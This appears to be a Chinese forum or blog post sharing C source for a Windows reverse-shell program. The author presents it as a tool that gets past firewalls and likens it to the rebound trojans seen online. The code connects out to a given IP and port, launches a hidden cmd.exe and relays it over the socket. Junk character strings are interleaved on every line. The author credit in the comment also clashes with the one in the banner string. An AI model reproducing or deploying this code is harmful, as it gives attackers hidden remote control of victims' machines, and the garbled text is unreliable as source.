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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  Spm 0`  
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/* ============================== X2w)J?pv  
Rebound port in Windows NT 6Yai?*.Q  
By wind,2006/7 ;?h[WIy  
===============================*/ LG}{ibB  
#include kR]P/4r  
#include q8 v iC|  
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#pragma comment(lib,"wsock32.lib") iOL$|Z(  
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void OutputShell(); RQ+,7Ir  
SOCKET sClient; !V|{(>+<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (m]l -Re  
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void main(int argc,char **argv) G|i0n   
{ ~id6^#&>  
WSADATA stWsaData; zAgX{$/Fg  
int nRet; Z0gtliJ@  
SOCKADDR_IN stSaiClient,stSaiServer; Y;'<u\^M"  
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if(argc != 3) )g5?5f;  
{ ;0DoZ  
printf("Useage:\n\rRebound DestIP DestPort\n"); 84ij4ZYe  
return; %9-^,og  
} Rv1W&s&  
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WSAStartup(MAKEWORD(2,2),&stWsaData); x}G:n[B7_V  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ) f?I{  
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stSaiClient.sin_family = AF_INET; i_qY=*a?y  
stSaiClient.sin_port = htons(0); \w9}O2lL  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E@VQxB7+  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zJQh~)  
{ OB>Hiy   
printf("Bind Socket Failed!\n"); S-t#d7'B  
return; AD?zBg Zu  
} O'4G'H)   
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stSaiServer.sin_family = AF_INET; )JMqC+J3*t  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c *KE3:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~IhAO}1  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M/S~"iD  
{ <q63?Ms'  
printf("Connect Error!"); \gA!)q.;  
return; :Cq73:1\B  
} NuZ2,<~9  
OutputShell(); Yf0 KG  
} }[+uHR6L  
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void OutputShell() JCWTB`EB>  
{ "@ >6<(Ki  
char szBuff[1024]; +pd,gG?dW  
SECURITY_ATTRIBUTES stSecurityAttributes; X[tt'5  
OSVERSIONINFO stOsversionInfo; W(q3m;n  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '-wmY?ZFxy  
STARTUPINFO stStartupInfo; reu[rZ&  
char *szShell; %;`Kd}CO  
PROCESS_INFORMATION stProcessInformation; (j}7|*.  
unsigned long lBytesRead; <J509j  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =rKJJa N  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q)75?mn  
stSecurityAttributes.lpSecurityDescriptor = 0; yan^\)HZ  
stSecurityAttributes.bInheritHandle = TRUE; \Qml~?$@lH  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  "'4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j6%W+;{/pj  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w>W#cTt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 20Zxv!  
stStartupInfo.wShowWindow = SW_HIDE; Zue3Z{31T  
stStartupInfo.hStdInput = hReadPipe; OP/DWf  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <G pji5f2  
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GetVersionEx(&stOsversionInfo); vF\>;pcT  
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switch(stOsversionInfo.dwPlatformId) ^\}MG!l  
{ |E+.y&0;  
case 1: CR4O#f8\  
szShell = "command.com"; 0%%1:W-  
break; Jn+-G4h$  
default: ?Q:SVxzUd  
szShell = "cmd.exe"; w=KfkdAJ*/  
break; }rQQe:{]B  
} 8D.c."q  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A f'&, 1=q  
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send(sClient,szMsg,77,0); SZGR9/* ^  
while(1) Q/o,2R  
{ |>Q>d8|k  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]zx%"SUM  
if(lBytesRead) i1evB9FZ1z  
{ ?LMQz=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bjVk9XvH6  
send(sClient,szBuff,lBytesRead,0); @a 9.s  
} "Enb   
else aRTy=~  
{ 're:_;lG  
lBytesRead=recv(sClient,szBuff,1024,0); [,Ehu<mEK  
if(lBytesRead<=0) break; LR=Ji7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $RDlM  
} UJO3Yn  
} BX/3{5Y>{  
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return; WK|5:V8E  
}
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